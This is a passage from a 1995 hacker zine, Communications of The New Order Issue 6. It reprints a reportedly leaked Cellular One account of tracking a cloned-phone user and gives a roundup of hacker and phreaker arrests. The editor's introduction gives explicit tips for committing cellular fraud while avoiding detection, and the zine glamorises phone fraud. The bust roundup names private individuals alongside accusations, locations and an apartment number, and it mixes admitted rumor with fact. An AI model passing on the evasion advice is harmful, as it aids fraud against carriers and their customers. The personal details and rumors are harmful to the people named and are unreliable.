3578 lines
167 KiB
Plaintext
3578 lines
167 KiB
Plaintext
|
______ ______ _____________ ____ ___ ______
|
|||
|
|
/ ____|\ / \ /____ ____/\ / | \ / / | / \
|
|||
|
|
/ / ____\| / __ |\ \_/ /\____\/ / | / / / / __ |\
|
|||
|
|
/ / / / /__/ / | / / / / /| |/ / / / /__/ / |
|
|||
|
|
/ /__/______ | / / / / / / / | / / | / /
|
|||
|
|
|____________|\ |\_____ / / /__ / / /___/ / |___/ / |\_____ / /
|
|||
|
|
|_____________\| \|____| / \__\ / |___ |/ |___|/ \|____| /
|
|||
|
|
|
|||
|
|
____
|
|||
|
|
/ \ ---
|
|||
|
|
/ \ \ __
|
|||
|
|
/ /\ \ \ \
|
|||
|
|
_/______|_/ / / / \
|
|||
|
|
| | / / / /
|
|||
|
|
| ---\( |/ / / /
|
|||
|
|
| \|\(/ \(/\(/
|
|||
|
|
| |
|
|||
|
|
/ /
|
|||
|
|
/ \ /
|
|||
|
|
/ \ ___/
|
|||
|
|
/
|
|||
|
|
/
|
|||
|
|
/
|
|||
|
|
|
|||
|
|
Communications of The New Order
|
|||
|
|
Issue #6
|
|||
|
|
Fall 1995
|
|||
|
|
|
|||
|
|
|
|||
|
|
"There is nothing more difficult to take in and, more perilous
|
|||
|
|
to conduct, or more uncertain in its success, than to take the
|
|||
|
|
lead in a new order of things."
|
|||
|
|
|
|||
|
|
- Niccolo Machiavelli'
|
|||
|
|
|
|||
|
|
|
|||
|
|
Cavalier........"I hacked codes to get warez for free drugs."
|
|||
|
|
Dead Kat........"I have non-hacker friends but fuck if I keep in
|
|||
|
|
contact with them, they don't have k0d3z."
|
|||
|
|
Disorder........"US West knew we were getting their stuff, they
|
|||
|
|
just didn't know we were on the deferred payment
|
|||
|
|
plan."
|
|||
|
|
Edison.........."I said fuck you cop.. well I wish I had said that."
|
|||
|
|
Major..........."SUNOS... the swiss cheese of unix."
|
|||
|
|
Voyager........."I don't think money is as powerful as fear, but
|
|||
|
|
I have a day job."
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Special Thanks: Gatsby, Mark Tabas, The Doktor, Presence,
|
|||
|
|
Demonika, Rage (303), Invalid Media, Deathstar, KevinTX,
|
|||
|
|
Intrepid Traveler, Plexor, yLe, Drunkfux, Damien Thorne,
|
|||
|
|
Brownstone, Storm Bringer, Neophyte, Ole Buzzard, AntiChrist,
|
|||
|
|
Redboxchilipepper, El Jefe, Jupiter, Captain Hemp.
|
|||
|
|
|
|||
|
|
Good Luck: Mark Tabas, Gatsby, Kevin Crow, Dispater, St. Elmo,
|
|||
|
|
Zibby, Dr. Delam, Phantom Phreaker, Purple Condom, Manson,
|
|||
|
|
BernieS, Kevin Mitnick, Alphabits.
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
__/\iNTRo/\__
|
|||
|
|
|
|||
|
|
|
|||
|
|
CoTNo is a 'zine of the computer underground of the 1990's. It is written
|
|||
|
|
for H4Qu3r's and pHR3aCK3r's of intermediate to beginning experience. All
|
|||
|
|
the information published herein is as accurate as possible and pertains to
|
|||
|
|
techniques and devices that actually work. We do not publish any article
|
|||
|
|
that is not of an H/P nature. If you wish to comment on or contribute to
|
|||
|
|
CoTNo, email one of us, or catch one of us on the iRC or try to catch
|
|||
|
|
us in your local Telco dumpster.
|
|||
|
|
|
|||
|
|
Ahem...
|
|||
|
|
|
|||
|
|
This issue is dedicated to all of our good friends who have recently been
|
|||
|
|
busted. In fact, the last three issues are dedicated to them, since there
|
|||
|
|
have been more people busted in the last twelve months then at any time since
|
|||
|
|
Sundevil. In issue four I espoused my opinion that there was a federal
|
|||
|
|
conspiracy at work with paid informants masquerading as our friends. Last
|
|||
|
|
issue I gave detailed information on one of our own busted members, John
|
|||
|
|
Falcon. In this issue there will be information you can use to help keep
|
|||
|
|
yourself out of jail.
|
|||
|
|
|
|||
|
|
In this issue, Disorder has compiled detailed information on the busts of
|
|||
|
|
lasts twelve months. Each bust that we heard of is detailed with names and
|
|||
|
|
events. Hindsight is always clearer than foresight, so hopefully you can
|
|||
|
|
learn from these busts how to avoid a similar fate. Also in this issue, I
|
|||
|
|
am releasing confidential information on how cellular fraud is prevented.
|
|||
|
|
The information is straight from a national cellular carrier and details
|
|||
|
|
exactly how the telcos detect, trace, and bust cellular abuse. This
|
|||
|
|
information should convince you to take the utmost precautions if you are
|
|||
|
|
experimenting with cellular technology. Lastly, John Falcon sent me an
|
|||
|
|
article on what to do if you do get busted. I think this is the first H/P
|
|||
|
|
article ever written from jail!
|
|||
|
|
|
|||
|
|
The following information was an actual article from Cellular One that was
|
|||
|
|
distributed to some of their employees. This article was not edited in
|
|||
|
|
anyway, and contains the best information I have ever seen on how cellular
|
|||
|
|
fraud is prevented. If you are participating in cellular phreaking, I
|
|||
|
|
recommend that you read this article very closely and take it as a warning
|
|||
|
|
from the Cellular Telephone industry. They are getting serious about halting
|
|||
|
|
cellular fraud, and for good reason. In New York for instance, often
|
|||
|
|
there are more fraudulent cellular calls than legitimate ones on any given
|
|||
|
|
day! The Fedz are on their side too. As you may already know, the Fedz ran
|
|||
|
|
an underground BBS for 8 months this year just to catch Cellular Fraudsters.
|
|||
|
|
In fact, Kevin Mitnick was recently busted using the same methods described
|
|||
|
|
in the following article.
|
|||
|
|
|
|||
|
|
The article, dated February 1995, follows:
|
|||
|
|
|
|||
|
|
A team of five Cellular One employees helped stop cellular fraud in Denver
|
|||
|
|
last week. To protect both our employees and future investigations,
|
|||
|
|
Cellular One team members names will not be released.
|
|||
|
|
|
|||
|
|
California officials tracked a suspect from the Los Angeles area using a
|
|||
|
|
cloned cellular phone to Denver early last week and asked Cellular One for
|
|||
|
|
assistance in locating this suspect. With the cloned cellular phone number
|
|||
|
|
and a number the suspect repeatedly called in California, the five Cellular
|
|||
|
|
One employees and both local and California law enforcement agents began
|
|||
|
|
tracking the whereabouts of the suspect through the pattern of his cellular
|
|||
|
|
phone calls.
|
|||
|
|
|
|||
|
|
Using AMA searches, RFCALL Trace, directional antennas, an IFR 1500, an
|
|||
|
|
RSAT Plus, and hours of labor, the Cellular One team identified the suspect's
|
|||
|
|
calling patterns. An AMA search is a record of an individual cellular
|
|||
|
|
phone number's calls. The cellular number is input along with the
|
|||
|
|
parameters for the search - start and finish date and time - and a log is
|
|||
|
|
printed which shows each individual call made by that cellular number.
|
|||
|
|
This tool is used generally within three days of the calls which you wish
|
|||
|
|
to observe. AMA searches were compiled over several days to document the
|
|||
|
|
calling patterns of the suspect.
|
|||
|
|
|
|||
|
|
While the AMA searches show the past calling pattern, when attempting to
|
|||
|
|
capture a cellular fraud suspect, real time tools must also be used. The
|
|||
|
|
Cellular One team used RFCALL Trace which tracks similar information as an
|
|||
|
|
AMA record with the exception that the information can be collected with
|
|||
|
|
only a 10 second delay from real time. RFCALL Trace also tracks the
|
|||
|
|
individual radio in use, any handoffs, and the signal strength of
|
|||
|
|
the cellular call. Law enforcement agents issued a subpoena to Cellular One
|
|||
|
|
for all information regarding the fraudulent cellular phone number's
|
|||
|
|
activity on our system.
|
|||
|
|
|
|||
|
|
Most of the fraudulent phone calls were being placed between 10am and
|
|||
|
|
midnight. Tracking which cell sites, cell faces, and radios the suspect's
|
|||
|
|
calls set up on identified a small geographical area as the suspect's base of
|
|||
|
|
action. Once an area had been established, one team member drove this area
|
|||
|
|
using an RSAT Plus, an IFR 1500, and a directional antenna (all basic
|
|||
|
|
cellular test equipment used in system optimization) to pinpoint the suspect's
|
|||
|
|
location to a specific apartment complex. This team me tracked the calls
|
|||
|
|
made by the suspects's cellular number and, watching the faces serving the
|
|||
|
|
calls and he handoffs made by the system during the suspect's calls, he was
|
|||
|
|
able to narrow down the location from which the calls were made to a specific
|
|||
|
|
side of one apartment building.
|
|||
|
|
|
|||
|
|
The law enforcement agents, equipped with their own brand of cellular fraud-
|
|||
|
|
busting tools, asked if the Cellular One team could identify the actual
|
|||
|
|
apartment within the building where the calls were being placed. A narrowband
|
|||
|
|
directional antenna was set to the transmit frequency of the cloned phone.
|
|||
|
|
One problem was that with each new phone call, the frequency being tracked
|
|||
|
|
changed. The suspect made short calls, most around one minute, with the
|
|||
|
|
longest between three to five minutes. Using the directional antenna
|
|||
|
|
and resetting the frequency with each new call on the cloned phone, the
|
|||
|
|
Cellular One employee identified a group of apartments within the building
|
|||
|
|
from which the cellular calls were being placed.
|
|||
|
|
|
|||
|
|
Unfortunately, the suspect slipped out of the building before the specific
|
|||
|
|
apartment was identified. Again using RFCALL Trace, the Cellular One team
|
|||
|
|
logged the suspect's next phone call on a cell site near Stapleton
|
|||
|
|
Airport. Law enforcement was notified and kept aware of the phone calls as
|
|||
|
|
the suspect traveled throughout the system. It became evident that the
|
|||
|
|
suspect was moving back toward the apartment complex. Surveillance
|
|||
|
|
officers outside the apartment noticed three men enter just moments before
|
|||
|
|
the Cellular One team notified them that a call had been placed from the
|
|||
|
|
apartment. Within 20 minutes, the suspects again left the apartment.
|
|||
|
|
Denver Police began pursuit of the suspect and made the arrest. Five
|
|||
|
|
additional cellular phones were found in the suspect's apartment. It has
|
|||
|
|
not been determined if these phones are cloned.
|
|||
|
|
|
|||
|
|
Although cellular fraud exists, it is possible to catch the criminals.
|
|||
|
|
Congratulations to our fraud busters! Cellular One asks that you keep this
|
|||
|
|
story confidential since the specifics of this and future investigations
|
|||
|
|
depend on our ability to catch the criminals in action.
|
|||
|
|
|
|||
|
|
End of Cellular One Article.
|
|||
|
|
|
|||
|
|
Pretty scary, huh? Cellular phreaking used to be considered pretty safe, but
|
|||
|
|
times have changed. The cellular phone companies are losing so much money on
|
|||
|
|
cellular fraud, that they have made busting the cellular hackers a priority.
|
|||
|
|
If you do commit cellular fraud, I suggest you use the following guidelines:
|
|||
|
|
|
|||
|
|
1. Never use the fraudulent ESN for over two weeks.
|
|||
|
|
2. Change ESN's as often as possible.
|
|||
|
|
3. Avoid creating a calling pattern with your fraudulent ESN.
|
|||
|
|
4. Avoid using the fraudulent ESN from a stationary location.
|
|||
|
|
|
|||
|
|
These tips could keep you out of jail! Because you cannot divert with a
|
|||
|
|
cellular phone (unless you are Kevin Mitnick) these precautions are necessary.
|
|||
|
|
As my friend John Falcon told me, "Its not worth doing time for silly phone
|
|||
|
|
shit." He's right. H/P is fun, but anyone who has gotten busted will tell
|
|||
|
|
you the same.
|
|||
|
|
|
|||
|
|
But if despite these warnings, you still decide to cellular phreak, just make
|
|||
|
|
this quote from Gatsby your mantra, "An ESN a day, keeps the federals away."
|
|||
|
|
|
|||
|
|
|>ead|<at
|
|||
|
|
-=(TNo)=-
|
|||
|
|
|
|||
|
|
|
|||
|
|
Table of Contents
|
|||
|
|
~~~~~~~~~~~~~~~~~
|
|||
|
|
Introduction......................................Dead Kat
|
|||
|
|
Operation Phundevil...............................Disorder
|
|||
|
|
What Happens When You Get Caught..................John Falcon
|
|||
|
|
Legal and Technical Aspects of RF Monitoring......Major
|
|||
|
|
The Tao of 1AESS..................................Dead Kat & Disorder
|
|||
|
|
Frequently Visited AT&T Locations.................Major & Dead Kat
|
|||
|
|
Remote Hacking in Unix............................Voyager
|
|||
|
|
The Definity Audix VMS Inside Out.................Boba Fett
|
|||
|
|
Bridging the Gap..................................Eddie Van Halen
|
|||
|
|
Elite Music Part V................................Disk Jockey
|
|||
|
|
Conclusion........................................Dead Kat
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
-= Operation Phundevil =-
|
|||
|
|
|
|||
|
|
by DisordeR[TNo]
|
|||
|
|
|
|||
|
|
|
|||
|
|
With all the busts happening in the past year, and a lack of
|
|||
|
|
information in the scene regarding who got busted when, and for what,
|
|||
|
|
I decided to put this article together. After working on this for a
|
|||
|
|
while, I realized that not only was it a little difficult in finding
|
|||
|
|
bust info, but half of the little you found was bullshit.
|
|||
|
|
|
|||
|
|
The information in the following article is as accurate as I
|
|||
|
|
can find. With all the different accounts of what happened, different
|
|||
|
|
nicknames, different NPA's, and pure stupidity out there, don't bet your
|
|||
|
|
life on the information contained within this article.
|
|||
|
|
|
|||
|
|
The following sections give you some details about some busts,
|
|||
|
|
and RUMORS of others. I indicate which are rumors and which are legit.
|
|||
|
|
I utilized everything from BBS posts, to newspaper articles, to word
|
|||
|
|
of mouth. Thanks to those who helped me on this. And by no means is this
|
|||
|
|
NEAR complete...
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"OPERATION CYBERSNARE: FEDZ = 1, PHREAKZ = 0"
|
|||
|
|
|
|||
|
|
Main Thugs:
|
|||
|
|
Peter A. Cavicchia II - Special Agent in Charge
|
|||
|
|
Donna Krappa - Assistant U.S. Attorney in Newark
|
|||
|
|
Stacey Bauerschmidt - "Carder One"
|
|||
|
|
|
|||
|
|
The Busted:
|
|||
|
|
Richard Lacap - "Chillin" - Katy, Texas: Accused of conspiring to break
|
|||
|
|
into the Portland, Oregon AT&T Wireless computers.
|
|||
|
|
Kevin Watkins - "Led" - Houston, Texas: Accused of conspiring to break
|
|||
|
|
into the Portland, Oregon AT&T Wireless computers.
|
|||
|
|
Watkins used the computer system of Embry Riddle University in
|
|||
|
|
Prescott, Ariz., to enter the McCaw computer, Secret Service
|
|||
|
|
Special Agent Stacey Bauerschmidt said in a sworn statement.
|
|||
|
|
Jeremy Cushing - "Alpha Bits" - Huntington Beach, California: Accused
|
|||
|
|
of trafficking in cloned cellular phones/equipment and stolen
|
|||
|
|
access devices (ESN/MIN Pairs).
|
|||
|
|
Frank Natoli - "Mmind" - Brooklyn, New York: Accused of trafficking in
|
|||
|
|
stolen access devices.
|
|||
|
|
Al Bradford - "Cellfone" - Detroit, Michigan: Accused of trafficking in
|
|||
|
|
unauthorized access devices.
|
|||
|
|
Michael Clarkson - "Barcode" - Brooklyn, New York: Accused of possessing
|
|||
|
|
and trafficking in hardware used to obtain unauthorized access to
|
|||
|
|
telecommunications services.
|
|||
|
|
|
|||
|
|
Penalty:
|
|||
|
|
If convicted, defendants face maximum possible sentences ranging
|
|||
|
|
from 15 years for Cushing to 10 years for Bradford, Clarkson and
|
|||
|
|
Natoli and five years for Lacap and Watkins.
|
|||
|
|
|
|||
|
|
Details:
|
|||
|
|
Starting in January, Stacey Bauerschmidt and other Secret Service
|
|||
|
|
agents in Newark, NJ, set up what is now called "an electronic chop shop"
|
|||
|
|
by the press. Stacey (in cooperation with a 'nameless informer' who will
|
|||
|
|
be mentioned later) set up a computer BBS called "Celco 51" with the
|
|||
|
|
intent of busting hackers and phreakers specializing in cellular phone
|
|||
|
|
fraud.
|
|||
|
|
For the first sixth months, the board operated using MBBS with
|
|||
|
|
four nodes. At any given time the board had an 800 re-route (not really)
|
|||
|
|
so that the users could call without any problem (ANI). To the credit of
|
|||
|
|
the agents in charge, the board did not allow just anyone access. The sysop
|
|||
|
|
(PMF) appeared to discriminate and only allow the 'elite' members of the
|
|||
|
|
H/P community on. With the illusion of security, the agents running the
|
|||
|
|
board could successfully monitor the users, and begin to make deals with
|
|||
|
|
the hackers.
|
|||
|
|
Stacey [Who went by 'Carder One'] continually asked members of the
|
|||
|
|
BBS if they were interested in selling ESN/MIN pairs [Used for cellular
|
|||
|
|
phone fraud]. These 'pairs' are considered 'illegal access devices' and
|
|||
|
|
are usually found in large enough amounts to consist of felonies. On top
|
|||
|
|
of the illegal access devices, Stacey was looking for people that were
|
|||
|
|
willing to sell illegal cloning equipment. This equipment consisted of
|
|||
|
|
devices used to get pairs, clone phones, and reprogram phones.
|
|||
|
|
The operation was very successful in many ways, notably the ability
|
|||
|
|
of the agents to mask the true nature of the board. For over eight months,
|
|||
|
|
Stacey and other agents monitored the board looking for any chance to
|
|||
|
|
prosecute any of the members. The sysop (PMF) continuously advertised the
|
|||
|
|
board to the members, as well as mailed and HARASSED members into calling
|
|||
|
|
more than they wished to (Entrapment anyone?). PMF was responsible for
|
|||
|
|
mailing members up to three times a day, message flooding people on IRC,
|
|||
|
|
and using other methods of harassment to get hackers to call.
|
|||
|
|
On top of the harassment, Carder One continuously asked for people
|
|||
|
|
to post 'pairs' as well as sell them in private. In a few cases, individuals
|
|||
|
|
would not have considered selling these pairs had the federal agents not
|
|||
|
|
harassed them so much. Ahem.
|
|||
|
|
|
|||
|
|
"Cushing and five others were arrested in four states during a
|
|||
|
|
sweep last week by federal agents. Another 14 raids spread over eight
|
|||
|
|
states led to the confiscation of 31 computers, 65 illegally programmed
|
|||
|
|
phones and 14 "readers," devices used to illegally pluck cellular phone
|
|||
|
|
numbers and serial codes from cellular phone transmissions."
|
|||
|
|
[Wonder who's computer will run the next sting board?]
|
|||
|
|
|
|||
|
|
"But because the alleged crooks posted phone numbers on the bulletin
|
|||
|
|
board indicating where they could be reached, the Secret Service was able to
|
|||
|
|
trace the calls, leading to the arrests."
|
|||
|
|
[Need we emphasize the importance of Diverting any more?]
|
|||
|
|
|
|||
|
|
"But officials said this case represented the first time that the
|
|||
|
|
Secret Service had created an entirely new computer bulletin board..."
|
|||
|
|
[Couldn't bust any warez kiddies recently...]
|
|||
|
|
|
|||
|
|
[Watch out kiddies... They are using more than 'questionable' methods
|
|||
|
|
of busting hackers and phreaks these days. If you haven't met someone,
|
|||
|
|
be careful of what you post on their systems.. many people thought
|
|||
|
|
PMF was cool until he NARKED on everyone that he could.]
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"ANARCHIST BUSTED FOR WRITING MAGAZINE"
|
|||
|
|
|
|||
|
|
From: The Anarchives <tao@presence.lglobal.com>
|
|||
|
|
|
|||
|
|
In early march of 1995 I was arrested for "Unauthorized Use Of A Computer".
|
|||
|
|
|
|||
|
|
Three large, white, plain-clothes detectives from 52 division in downtown
|
|||
|
|
toronto came to my house, promptly arrested me, took me to a holding
|
|||
|
|
cell, and conducted a strip search (looking for codes I guess). I was
|
|||
|
|
held in custody for four hours (7:30 pm to 11:30 pm), and released as a
|
|||
|
|
result of substantial protest made by friends and family at the sergeants
|
|||
|
|
desk.
|
|||
|
|
|
|||
|
|
I was being accused of breaking into the computer systems at the
|
|||
|
|
University Of Toronto for the purpose of publishing "Anarchist
|
|||
|
|
newsletters".
|
|||
|
|
|
|||
|
|
The sysadmin of ecf.utoronto.ca, one Professor Jack Gorrie
|
|||
|
|
<gorrie@ecf.utoronto.ca>, saw someone on his system publishing Anarchist
|
|||
|
|
materials, assumed I was a malicious "hacker", turned over all records of
|
|||
|
|
my email, news posts, key strokes, you name it, to the police at 52
|
|||
|
|
division. The police realizing how dangerous these "hacker anarchist"
|
|||
|
|
types are, had to come to my house to cuff me, bring me down, and strip
|
|||
|
|
search me.
|
|||
|
|
|
|||
|
|
I was to face trial for a possible six months in prison, just for
|
|||
|
|
exercising my democratic rights and responsibilities.
|
|||
|
|
|
|||
|
|
Of course the end result was that the charges were dropped, although this
|
|||
|
|
was not until several months later (sept 7, 95), after several
|
|||
|
|
appearances in court, and after my agreeing to pay $400 to the skule.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"FEDS SAY HACKERS CRACKED INTO TOWER CREDIT CARD RECORDS"
|
|||
|
|
by, Denny Walsh
|
|||
|
|
|
|||
|
|
From: The Sacramento Bee
|
|||
|
|
Saturday Sept. 16, 1995
|
|||
|
|
|
|||
|
|
Two talented Berkeley hackers were charged Friday with computer-
|
|||
|
|
age crimes against a Tower Video rental store in Sacramento, federal
|
|||
|
|
authorities said, in large part because they went up against Tower's even
|
|||
|
|
more talented electronic security corps.
|
|||
|
|
|
|||
|
|
When authorities raided their apartment last month, Terry Patrick Ewing,
|
|||
|
|
21, and Michael Yu Kim, 20, had the credit card numbers of 2,000 Tower
|
|||
|
|
customers, federal prosecutors said.
|
|||
|
|
|
|||
|
|
According to a federal grand jury indictment, Ewing and Kim used
|
|||
|
|
their personal computer to break into a system know as TRON, owned and
|
|||
|
|
operated by Tower's West Sacramento-based parent, MTS Inc.
|
|||
|
|
|
|||
|
|
Kim and Ewing are charged in a three-count indictment with
|
|||
|
|
conspiracy, fraud and the unauthorized destruction of computer data.
|
|||
|
|
|
|||
|
|
The prosecutor said the pair are not in custody and will be
|
|||
|
|
allowed to surrender next week. He said he does not see them as flight
|
|||
|
|
risks.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"KEVIN MITNICK BUST - HIGHLIGHTS"
|
|||
|
|
|
|||
|
|
From Multiple Sources
|
|||
|
|
|
|||
|
|
If you want more details, read the hundreds of articles about this story.
|
|||
|
|
Also, read the Phrack 47 editorial pertaining to this subject.
|
|||
|
|
|
|||
|
|
Kevin Mitnick (31)
|
|||
|
|
-One of the first indicted under Computer Security Act of 1987
|
|||
|
|
-Search began in November 1992
|
|||
|
|
-Mark Seiden (expert in firewalls) discovered that someone had obtained
|
|||
|
|
all of Netcom's credit card numbers for 20,000 online subscribers.
|
|||
|
|
-Stole files from: Motorola, Apple, Netcom, and more.
|
|||
|
|
-Mitnick used the Well as a repository for files he stole from computer
|
|||
|
|
security expert Tsutoma Shimomura.
|
|||
|
|
-After raping Tsutoma, he used Bruce Koball's account to transfer
|
|||
|
|
proprietary software from Motorola, NEC, Nokia, Novatel, Oki, Qualcomm,
|
|||
|
|
and other cell manufacturers.
|
|||
|
|
-Shimomura concluded that it was Mitnick, and that he was operating
|
|||
|
|
through cellular, from Raleigh, NC
|
|||
|
|
-Mitnick was bouncing his calls through GTE Switches, local switches,
|
|||
|
|
and a few types of cellular switches, and utilized Netcom's dialins.
|
|||
|
|
-Lived in Player's Court, a 12-unit apartment building in suburb of
|
|||
|
|
Duraliegh Hills, three miles from the airport. He lived in Apt 202.
|
|||
|
|
-Until a week or two before he was arrested, FBI surveillance agents in
|
|||
|
|
Los Angeles were certain that 'the intruder' was somewhere in Colorado.
|
|||
|
|
-FBI arrested him at 24 hour stakeout
|
|||
|
|
-Arrested in Raleigh, N.C. at 1:30 a.m.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"PHREAKS BUSTED IN NY... MORE TO COME"
|
|||
|
|
|
|||
|
|
"Ok all Listen up and listen good. resistance is down. Maybe permanently. Most
|
|||
|
|
of you prolly haven't heard yet, but there have been major busts going around.
|
|||
|
|
... Today alone i found out that Neon Samurai, Tokien Entry, and Hellfire
|
|||
|
|
have been busted. ... that they even busted craig neidorf(knight lightnig)
|
|||
|
|
again.
|
|||
|
|
|
|||
|
|
More bad news. If you are on UPT(unphamiliar territory) or Cellco 51, stop
|
|||
|
|
calling. The SS who raided hellfire slipped a bit and bragged about being on
|
|||
|
|
those boards.
|
|||
|
|
|
|||
|
|
Hellfire said the feds were mostly interested in credit cards,
|
|||
|
|
VMB's, and Cell phones.
|
|||
|
|
|
|||
|
|
They are looking to bust for cellular, VMB's and credit cards...
|
|||
|
|
|
|||
|
|
Tokien entry i found out has been in jail for 2 days!
|
|||
|
|
Neon Samurai was busted for credit cards and also for telco equipment that
|
|||
|
|
the nynex people said was worth 50,000. "
|
|||
|
|
|
|||
|
|
|
|||
|
|
PMFs (Narc) reply:
|
|||
|
|
|
|||
|
|
"dude, this is utter shit and i expect u to post this reply for me seeing
|
|||
|
|
as i ain't on that bbs.. Hellfire gave up his accounts to UPT and my bbs
|
|||
|
|
among others, he was the only person busted and nothing to do with his
|
|||
|
|
busts was EVER mentioned on my board. He doesn't even get involved in
|
|||
|
|
cellphones, he was busted coz he and every other person busted used
|
|||
|
|
1 800 CALL ATT from his house.. what a bunch of lamers... I don't even
|
|||
|
|
know who wrote that next but i would like to find out.. probably the guys
|
|||
|
|
from NYHE..."
|
|||
|
|
[Ironic isn't it!]
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"ALPHABITS ORIGINAL BUST LAST YEAR"
|
|||
|
|
|
|||
|
|
Caught alphabits on irc lastnight and he said:
|
|||
|
|
|
|||
|
|
<alphabits> but I got sent to prison 7 months ago, and lost contact ***
|
|||
|
|
|
|||
|
|
According to different people, he was busted for check fraud and/or credit
|
|||
|
|
fraud and/or cellular fraud. Unfortunately, I will not be able to talk
|
|||
|
|
to him until after this article.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"SYNCOMM, MEMBER OF S.O.B (SERVANTS OF BABUSHKA) RAIDED"
|
|||
|
|
|
|||
|
|
From another group member:
|
|||
|
|
|
|||
|
|
Syncomm was talking on the phone.. the day before Master of Reality got
|
|||
|
|
busted... so MOR, Greg and equinox were sitting there chatting away when
|
|||
|
|
a load of federal agents <SS, FBI, 1 NSA guy and even a guy from customs>
|
|||
|
|
and some local police busted down his door. He dropped the phone and all
|
|||
|
|
they heard was a rustle of papers .. then a "Secure that paper!" then a
|
|||
|
|
click.. They put a shotgun to his head and said "Hello Syncomm". They
|
|||
|
|
said he was the leader of S.O.B. an international terrorist organization.
|
|||
|
|
Then again they thought that Crypt Keeper and MOR were also the sole
|
|||
|
|
leader of SOB ... So then they put a knee to his back and handcuffed him
|
|||
|
|
<Greg, 16, apparently posed a serious threat>. They proceeded to
|
|||
|
|
interrogate.. and at one point this one agent <female> tried to seduce him
|
|||
|
|
into talking <I think he would of he she did more .. ;)> ..
|
|||
|
|
|
|||
|
|
He was finaly was lead outside when his neighbor walked up to them and
|
|||
|
|
handed them all of Greg's notes, etc.. that greg had asked him to stash..
|
|||
|
|
Greg then threatened his neighbors life.. <which he came back to do
|
|||
|
|
unhandcuffed afterwards> and was led off to holding... were they produced
|
|||
|
|
"A big fucking printout" that apparently detailed Greg's activities.. they
|
|||
|
|
nailed him for hacking UC and then accused him of crashing their
|
|||
|
|
systems.. Along with criminal tools <his computer> and some other
|
|||
|
|
offenses.. <one of which I am sure of is Wire Fraud.. they love that>
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"FBI REVEALS ARREST IN MAJOR CD-ROM PIRACY CASE"
|
|||
|
|
|
|||
|
|
SOFTWARE CRACKDOWN - Two Canadians were arrested in a blitz
|
|||
|
|
that has software companies upset to see piracy extending
|
|||
|
|
into the CD-ROM format.
|
|||
|
|
|
|||
|
|
From the Associated Press, Saturday Dec 24 1994
|
|||
|
|
|
|||
|
|
BUFFALO, New York - The FBI has arrested a Canadian father and son in what
|
|||
|
|
is believed to be the first major case of CD-ROM piracy in the United States.
|
|||
|
|
|
|||
|
|
Agents said Thursday they seized 15,000 counterfeit copies of the popular
|
|||
|
|
CD Rom games REBEL ASSAULT and MYST that were being sold at 25% of retail
|
|||
|
|
value.
|
|||
|
|
|
|||
|
|
PETER MISKO, 63, of Mississauga, Ontario, and his son, BRUCE MISKO, 36, of
|
|||
|
|
CHICAGO were arrested in Buffalo and charged with felony copyright infringe-
|
|||
|
|
ment. The counterfeit goods were recovered in a Niagara Country warehouse
|
|||
|
|
authorities said.
|
|||
|
|
|
|||
|
|
The FBI told the Los Angeles Times that additional warrants were served in
|
|||
|
|
INDIANA and NEW HAMPSHIRE as part of a crackdown on retail stores selling
|
|||
|
|
the illegal software. MORE ARRESTS ARE EXPECTED.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"MULTI-COUNTRY EFFORT CRACKS COMPUTER RING"
|
|||
|
|
|
|||
|
|
TORONTO - Canadian, US and European investigators
|
|||
|
|
have cracked a ring of computer hackers who allegedly
|
|||
|
|
stole about $5 million US$ by breaking into the
|
|||
|
|
computers of phone companies and other firms.
|
|||
|
|
|
|||
|
|
The 12 hackers who met over the Internet, used coding
|
|||
|
|
and call switching to conceal the transfer of funds,
|
|||
|
|
codes and communications.
|
|||
|
|
|
|||
|
|
RUDY LOMBARDI, 22, of MISSISSAUGA Ontario PLEADED
|
|||
|
|
GUILTY on Tuesday, June 27 1995. He got 90 days in
|
|||
|
|
Jail and 100 hours of community services for HELPING
|
|||
|
|
the RCMP with their investigation - instead of at least
|
|||
|
|
a one year jail sentence.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"RUMORS FROM 914"
|
|||
|
|
|
|||
|
|
There has been a huge chain of busts in 914. Apparently, GANGSTER,
|
|||
|
|
who ran a board in 914 called 'Bamboozie Dimension' was busted. Rumor
|
|||
|
|
goes on to say that he was 'fucking around with CC's' which led to the
|
|||
|
|
bust.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"WAREZ BUSTS IN 510"
|
|||
|
|
|
|||
|
|
The Sewer Line BBS in 510 met trouble on December 11th due to the
|
|||
|
|
distribution of console warez (from various posts). Rumor also has it,
|
|||
|
|
that a user on the board going by ROCK'N was in fact a sega representative,
|
|||
|
|
and narked on the sysop for his activities.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"214 BUSTS"
|
|||
|
|
|
|||
|
|
During August of '94, several boards (mostly warez/ansi affiliated)
|
|||
|
|
were raided by the FBI. The busts occurred in the Dallas/Ft. Worth
|
|||
|
|
area, the list follows:
|
|||
|
|
Agents of Fortune [409] (Sysop: Butcher [LEGEND])
|
|||
|
|
Suburbia [214] (Sysop: The Chairman [RZR],
|
|||
|
|
The Network [214] (Sysop: Masterblaster)
|
|||
|
|
The Depths [214] (Sysop: Maelstrom ex-[RZR/iCE])
|
|||
|
|
Elm Street [214] (Sysop: Freddy Krueger)
|
|||
|
|
